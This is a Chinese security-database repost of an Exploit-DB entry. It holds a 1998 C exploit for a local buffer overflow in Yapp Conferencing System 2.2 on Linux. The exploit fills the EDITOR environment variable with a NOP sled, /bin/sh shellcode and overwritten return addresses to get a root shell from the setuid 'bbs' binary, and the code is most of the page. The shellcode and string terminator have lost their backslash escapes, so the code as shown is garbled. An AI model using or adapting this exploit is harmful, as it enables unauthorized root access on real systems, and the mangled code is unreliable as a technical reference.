Armidale Software Yapp Conferencing System 2.2 – Local Buffer Overflow

Armidale Software Yapp Conferencing System 2.2 – Local Buffer Overflow

漏洞ID 1053358 漏洞类型
发布时间 1998-01-20 更新时间 1998-01-20
图片[1]-Armidale Software Yapp Conferencing System 2.2 – Local Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-Armidale Software Yapp Conferencing System 2.2 – Local Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19284
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/365/info


Armidale Software's Yapp Conferencing System is vulnerable to an environment variable related buffer overflow vulnerability in (at least) the Linux version. The consequence of the vulnerability being exploited is a local root compromise.


/*
 * Exploit for "Yapp Conferencing System, Version 2.2".
 * By Dave Bowman, for Sandra, on January 13 1998.
 *
 * Description:
 *
 * The Yapp Conferencing System client handles environment variables
 * without doing bounds checking, allowing one to overflow a buffer
 * in the "bbs" executable onto the stack. Using this technique, it
 * possible to obtain a shell running as the user which Yapp is setuid
 * to (in some cases, root).
 *
 * Usage:
 *
 * bash$ gcc -o yapp_exploit yapp_exploit.c
 * bash$ ./yapp_exploit
 * bash#
 * You'll have to change the definition of "BBS_PROGRAM" in the source.
 * You may also need to alter the offset, but -1000 worked for me.
 *
 * And without further ado...
 *
 */

#if ! defined (__i386__) || ! defined (__linux__)
#error Intel 80x86/Linux platform required.
#endif

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define BUFFSIZE        512 - strlen ("EDITOR=")        /* Size of buffer. */
#define OFFSET          -1000                           /* Offset. */
#define BBS_PROGRAM     "/home/dave/yapp/bbs"           /* Path to program. */

/* Function which returns the base address of the stack. */
long get_esp (void)
{
    __asm__ ("movl %esp, %eaxn");
}

/* Machine code instructions to execute /bin/sh, I had them here in */
/* global for a reason and now I just don't feel like playing with */
/* the stack offset anymore. */
unsigned char exec_shell [] =
    "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
    "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
    "x80xe8xdcxffxffxff/bin/sh";

/* Main function, duh. */
int main (void)
{
    unsigned char buff [518];               /* Buffer to hold our data. */
    unsigned char *ptr;                     /* Pointer. */
    int count;                              /* Counter. */
    unsigned long *address_ptr;             /* Long pointer. */

    /* First we fill the buffer with NOP instructions. */
    (void) memset (buff, 0x90, sizeof (buff));

    /* Then we copy our shell code into the buffer. */
    ptr = buff;
    ptr += BUFFSIZE - strlen (exec_shell);

    for (count = 0; count < strlen (exec_shell); count++)
        *ptr++ = exec_shell [count];

    /* Now we insert our return address into ebp and eip. */
    address_ptr = (unsigned long *) &buff [509];

    for (count = 0; count < 2; count++)
        *address_ptr++ = get_esp () + OFFSET;

    /* Here we terminate the buffer as a string... */
    ptr = (unsigned char *) address_ptr;
    *ptr = '';

    /* And attempt to load it into our environment. */
    unsetenv ("EDITOR");

    if (setenv ("EDITOR", buff, 1)) {
        perror ("setenv");
        exit (1);
    }

    /* Finally, we execute Yapp. */
    (void) execl (BBS_PROGRAM, BBS_PROGRAM, NULL);
    perror (BBS_PROGRAM);
    exit (1);
}

相关推荐: NCSA HTTPd campas sample script Vulnerability

NCSA HTTPd campas sample script Vulnerability 漏洞ID 1105033 漏洞类型 Input Validation Error 发布时间 1997-07-15 更新时间 1997-07-15 CVE编号 N/A C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享